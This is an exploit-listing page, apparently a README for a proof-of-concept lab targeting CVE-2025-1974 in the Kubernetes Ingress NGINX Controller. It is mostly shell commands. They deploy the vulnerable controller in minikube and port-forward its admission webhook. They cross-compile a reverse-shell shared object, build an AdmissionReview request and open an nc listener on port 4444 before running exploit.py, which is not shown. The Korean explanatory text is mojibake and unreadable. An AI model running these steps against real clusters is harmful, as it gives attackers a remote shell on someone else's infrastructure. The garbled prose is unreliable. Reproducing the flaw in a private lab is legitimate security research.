Share
## https://sploitus.com/exploit?id=AFAA44FE-6A64-5C3C-BD43-81628AF5A675
# CVE-2025-1974: Kubernetes Ingress Nginx Controller ์ทจ์ฝ์ ๋ถ์ ๋ฐ PoC ํ๊ฒฝ ๊ตฌ์ถ
## ํ
์คํธ ํ๊ฒฝ
- MacOS (M2)
- Ingress NGINX Controller 1.11.3
- Rancher Desktop (Docker)
- Minikube (Kubernetes)
## ๋ก์ปฌ ํ
์คํธ ํ๊ฒฝ ์ธํ
(M2 MacOS)
๋ก์ปฌ ํ
์คํธ๋ฅผ ์ํด minikube๋ฅผ ์ค์น
`minikube start --driver=docker`
์๋ ๋ช
๋ น์ด๋ก ingress-nginx-controller๋ฅผ ๊ตฌ์ฑ
`kubectl apply -f ingress-nginx-controller.yml`
## port forwarding
Pods๊ฐ ์ ๋์ํ๊ณ ์๋์ง ํ์ธ
`kubectl get pods -n ingress-nginx`
`kubectl describe <pod name> -n ingress-nginx`
Pods์ 80, 8443(webhook)ํฌํธ๋ฅผ ๋ก์ปฌ์ 8888, 1337 ํฌํธ๋ก ํฌํธํฌ์๋ฉ
(ํฌํธํฌ์๋ฉ 80, 8443 ๋ชจ๋ ํ์)
`kubectl port-forward -n ingress-nginx <pod name> 8888:80`
`kubectl port-forward -n ingress-nginx <pod name> 1337:8443`
## so(shard object library) ์ค๋น
rev_shell.c ์์ ๋ฆฌ๋ฒ์ค์์ ์ฐ๊ฒฐํ IP, Port ๋ณ๊ฒฝ
MacOS(arm64)ํ๊ฒฝ์์ ์ปดํ์ผ, ํ
์คํธํ ํ๊ฒฝ์ ๋ง๊ฒ ์ปดํ์ผ ํ์
`aarch64-linux-gnu-gcc -shared -fPIC -o rev_shell.so rev_shell.c`
```
# ํฌ๋ก์ค์ปดํ์ผ๋ฌ ์ค์น
brew tap messense/macos-cross-toolchains
brew install aarch64-linux-gnu
```
## AdmissionReview ์์ฑ(์ ํ, ๊ธฐ์กด์ ์์ฑ๋ ํ์ผ์ ์ด์ฉํด๋ ๋ฌด๋ฐฉ)
kube-review๋ก AdmissionReview ํํ๋ก ๋ณํ (json)
`./kube-review-darwin-arm64 create admission_test.yml > admission_review_req_body.json`
## Exploit
๋ฆฌ๋ฒ์ค์์ ์ํด nc๋ก ๋ฆฌ๋ฒ์ค์ ์ฐ๊ฒฐ ์ค๋น
`nc -lv 4444`
exploit.py์์ nginx, webhook์ host ๋ฐ port๋ฅผ ์์ ํ ์คํ
`python3 exploit.py`
